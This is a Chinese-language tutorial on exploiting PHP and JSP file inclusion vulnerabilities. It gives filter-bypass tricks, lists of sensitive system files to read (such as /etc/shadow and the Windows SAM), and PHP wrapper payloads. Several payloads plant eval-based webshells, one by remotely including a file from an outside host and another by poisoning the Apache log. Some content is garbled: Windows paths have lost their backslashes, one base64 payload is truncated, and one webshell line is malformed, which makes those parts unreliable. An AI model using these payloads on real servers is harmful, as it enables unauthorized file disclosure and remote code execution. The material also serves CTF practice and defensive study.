php文件包含
特性:
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,如果所执行的文件不是php格式,则打印文件原内容
原理:
文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数include(),require()和include_once(),require_once()利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
注 意:
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
本地文件包含漏洞
无限制本地文件包含漏洞
通过目录遍历漏洞可以获取到系统中其他文件的内容
session文件包含漏洞
- 利用条件:session的存储位置可以获取。
- 通过phpinfo的信息可以获取到session的存储位置。
- 通过猜测默认的session存放位置进行尝试。如linux下默认存储在/var/lib/php/session目录下
有限制本地文件包含漏洞绕过
- %00截断
条件:magic_quotes_gpc = Off php版本<5.3.4,若为On,则会为以下预定义字符转义:单引号、双引号、反斜杠、NULL - 路径长度截断
条件:windows OS,点号需要长于256;linux OS 长于4096
注:
Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。 - 点号截断
条件:windows OS,点号需要长于256
远程文件包含漏洞
条件:allow_url_include()=On
无限制远程文件包含漏洞
有限制远程文件包含漏洞绕过
如测试代码:
<?php
include($_GET['filename'] . ".html");
?>
代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀
- 问号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
#
号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
- 空格绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20
- %00截断
php文件包含的利用
读取敏感文件
常见的敏感信息路径:
-
Windows系统
c:oot.ini // 查看系统版本
c:windowssystem32inetsrvMetaBase.xml // IIS配置文件
c:windows epairsam // 存储Windows系统初次安装的密码
c:ProgramFilesmysqlmy.ini // MySQL配置
c:ProgramFilesmysqldatamysqluser.MYD // MySQL root密码
c:windowsphp.ini // php 配置信息
-
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
远程包含shell
条件:allow_url_fopen=On
如:存在文件echo.txt。代码如下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST['shell']);?>")?>
访问该文件,http://www.123.com/index.php?page=http://www.456.com/echo.txt
,则会在index.php所在目录下生成shell.php文件
本地包含配合文件上传
。。。。
PHP伪协议
-
file://访问本地文件系统
- PHP.ini:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on - 使用方法:
file:// [文件的绝对路径和文件名]
http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt
- PHP.ini:
-
php://访问输入、输出流
- 在CTF中经常使用的是php://filter和php://input
- 条件:
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。 - php://filter用于读取源码,
- PHP.ini:
php://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on - 测试现象:
http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=index.php
- 注:php://filter 读取源代码时要进行base64编码输出(
php://filter/read=convert.base64-encode/resource=...
),不然会直接当做php代码执行就看不到源代码内容了。
- PHP.ini:
- php://input用于执行php代码。
- php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
- PHP.ini:
allow_url_fopen :off/on
allow_url_include:on - 测试现象:
http://127.0.0.1/cmd.php?file=php://input[POST DATA]
如:<?php phpinfo()?>
也可以POST如下内容生成一句话:<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');?>
-
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
-
zip://协议
-
PHP.ini
allow_url_fopen :off/on
allow_url_include:off/on -
使用方法:
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名] -
注意:
- 先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
- 由于
#
在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
-
-
bzip2://协议
-
PHP.ini
allow_url_fopen :off/on
allow_url_include:off/on -
使用方法:
compress.bzip2://file.bz2
-
-
zlib://协议
-
PHP.ini
allow_url_fopen :off/on
allow_url_include:off/on -
使用方法:
compress.zlib://file.gz
- 测试现象:
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
-
-
data://协议
-
其定义的内容可以作为小文件被插入到其他文档之中
-
格式:
data:[<mime type>][;charset=<charset>][;base64],<encoded data>
- 第二部分是 MIME 类型,表示这串内容的展现方式,比如:text/plain,则以文本类型展示,image/jpeg,以 jpeg 图片形式展示,同样,客户端也会以这个 MIME 类型来解析数据。
- 第三部分是编码设置,默认编码是 charset=US-ASCII,即数据部分的每个字符都会自动编码为 %xx
- 第四部分是 base64编码设定,这是一个可选项,base64 编码中仅包含0-9,a-z,A-Z,+,/,=,其中 = 是用来编码补白的。
- 最后一部分为这个Data URI承载的内容,它可以是纯文本编写的内容,也可以是经过 base64编码 的内容。
- 经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,要使用data://协议需要满足双on条件
-
PHP.ini:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on -
测试现象:
http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
也可以:
http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbyg
总结
-
包含Apache日志文件
当存在本地文件包含漏洞,但是无法上传文件时,可以利用Apache日志获取webshell
-
简介:Apache运行后,一般会默认生成两个日志文件,access.log(访问日志)、error.log(错误日志),当访问一个不存在的资源时,Apache日志同样会记录,如:访问:
http://123.com/<?php phpinfo();?>
,在日志中写入webshell后,即可利用包含漏洞,执行webshell。 -
日志路径:
httpd.conf中找到以下两行,并修改
ErrorLog
CustomLog -
利用条件:
- 存在包含漏洞
- 知道日志的存放路径
jsp文件包含
静态包含
<%@ include file="..."%>
include指令只能包含服务器存在的文件,不能使用变量来控制包含某个文件,所以include不存在包含漏洞
动态包含
<jsp:include page="...">
</jsp:include>
当包含一个非jsp文件拓展名时,即使内容符合jsp语法,也不会解析jsp代码,而是打印其原代码,所以即使存在包含漏洞得到的信息一般也只为配置信息,如Tomcat的user.xml
-
客户端跳转
也称重定向,客户端跳转后,浏览器url改变,并且服务器无法传递参数
-
服务器端跳转
也称url转发,跳转后,浏览器url不变,并且跳转页面之间可以传递参数
-
存在安全隐患:暴漏web.xml
当访问
http://123.com/Jsp/Forward?pathName=./WEB-INF/web.xml
时,将会暴漏web.xml
-